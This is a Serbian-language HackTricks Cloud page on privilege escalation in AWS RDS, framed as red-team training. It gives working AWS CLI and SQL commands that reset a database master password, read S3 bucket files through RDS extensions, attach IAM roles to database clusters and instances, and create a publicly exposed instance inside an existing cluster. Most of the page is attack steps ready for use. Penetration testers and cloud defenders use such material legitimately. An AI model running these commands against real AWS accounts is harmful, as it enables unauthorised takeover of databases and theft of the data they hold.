AWS - RDS Privesc
Reading time: 6 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
RDS - Relational Database Service
Za više informacija o RDS pogledajte:
AWS - Relational Database (RDS) Enum
rds:ModifyDBInstance
Sa tom dozvolom napadač može promeniti lozinku glavnog korisnika, i prijavu unutar baze podataka:
# Get the DB username, db name and address
aws rds describe-db-instances
# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
warning
Moraćete da možete da kontaktirate bazu podataka (obično su dostupne samo iz unutrašnjih mreža).
Potencijalni uticaj: Pronaći osetljive informacije unutar baza podataka.
rds-db:connect
Prema dokumentaciji, korisnik sa ovom dozvolom može da se poveže na DB instancu.
Zloupotreba RDS Role IAM dozvola
Postgresql (Aurora)
tip
Ako pokrenete SELECT datname FROM pg_database;
i pronađete bazu podataka pod nazivom rdsadmin
, znate da ste unutar AWS postgresql baze podataka.
Prvo možete proveriti da li je ova baza podataka korišćena za pristup bilo kojoj drugoj AWS usluzi. To možete proveriti gledajući instalirane ekstenzije:
SELECT * FROM pg_extension;
Ako pronađete nešto poput aws_s3
, možete pretpostaviti da ova baza podataka ima neku vrstu pristupa S3 (postoje i druge ekstenzije kao što su aws_ml
i aws_lambda
).
Takođe, ako imate dozvole da pokrenete aws rds describe-db-clusters
, možete videti da li klaster ima neku IAM ulogu pridruženu u polju AssociatedRoles
. Ako ima, možete pretpostaviti da je baza podataka pripremljena za pristup drugim AWS uslugama. Na osnovu imena uloge (ili ako možete dobiti dozvole uloge) mogli biste pogoditi koji dodatni pristup baza podataka ima.
Sada, da pročitate datoteku unutar bucket-a, potrebno je da znate punu putanju. Možete je pročitati sa:
// Create table
CREATE TABLE ttemp (col TEXT);
// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv', // Name of the file
'eu-west-1' //region of the bucket
) AS s3_uri \gset
// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
// Get info
SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
Ako imate sirove AWS akreditive, možete ih takođe koristiti za pristup S3 podacima sa:
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
note
Postgresql ne treba da menja nijednu promenljivu u grupi parametara da bi mogao da pristupi S3.
Mysql (Aurora)
tip
Unutar mysql-a, ako pokrenete upit SELECT User, Host FROM mysql.user;
i postoji korisnik pod imenom rdsadmin
, možete pretpostaviti da ste unutar AWS RDS mysql db.
Unutar mysql-a pokrenite show variables;
i ako promenljive kao što su aws_default_s3_role
, aurora_load_from_s3_role
, aurora_select_into_s3_role
, imaju vrednosti, možete pretpostaviti da je baza podataka spremna za pristup S3 podacima.
Takođe, ako imate dozvole da pokrenete aws rds describe-db-clusters
možete proveriti da li klaster ima neku povezanu ulogu, što obično znači pristup AWS uslugama).
Sada, da biste pročitali datoteku unutar bucket-a morate znati punu putanju. Možete je pročitati sa:
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
rds:AddRoleToDBCluster
, iam:PassRole
Napadač sa dozvolama rds:AddRoleToDBCluster
i iam:PassRole
može dodati određenu ulogu postojećem RDS instanci. Ovo bi moglo omogućiti napadaču da pristupi osetljivim podacima ili izmeni podatke unutar instance.
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
Potencijalni uticaj: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instanci.
Napomena da neki DB-ovi zahtevaju dodatne konfiguracije kao što je Mysql, koji treba da specificira ARN u grupama parametara.
rds:CreateDBInstance
Samo sa ovom dozvolom, napadač bi mogao da kreira novu instancu unutar klastera koji već postoji i ima IAM ulogu prikačenu. Neće moći da promeni lozinku glavnog korisnika, ali bi mogao da izloži novu instancu baze podataka internetu:
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
rds:CreateDBInstance
, iam:PassRole
note
TODO: Test
Napadač sa dozvolama rds:CreateDBInstance
i iam:PassRole
može napraviti novu RDS instancu sa određenom ulogom. Napadač može potencijalno pristupiti osetljivim podacima ili izmeniti podatke unutar instance.
warning
Neki zahtevi za ulogu/profil instance koji treba prikačiti (iz ovde):
- Profil mora postojati u vašem nalogu.
- Profil mora imati IAM ulogu koju Amazon EC2 ima dozvolu da preuzme.
- Ime profila instance i ime povezane IAM uloge moraju početi sa prefiksom
AWSRDSCustom
.
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
Potencijalni uticaj: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instanci.
rds:AddRoleToDBInstance
, iam:PassRole
Napadač sa dozvolama rds:AddRoleToDBInstance
i iam:PassRole
može dodati određenu ulogu postojećoj RDS instanci. To bi moglo omogućiti napadaču da pristupi osetljivim podacima ili izmeni podatke unutar instance.
warning
DB instanca mora biti van klastera za ovo
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
Potencijalni uticaj: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instanci.
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.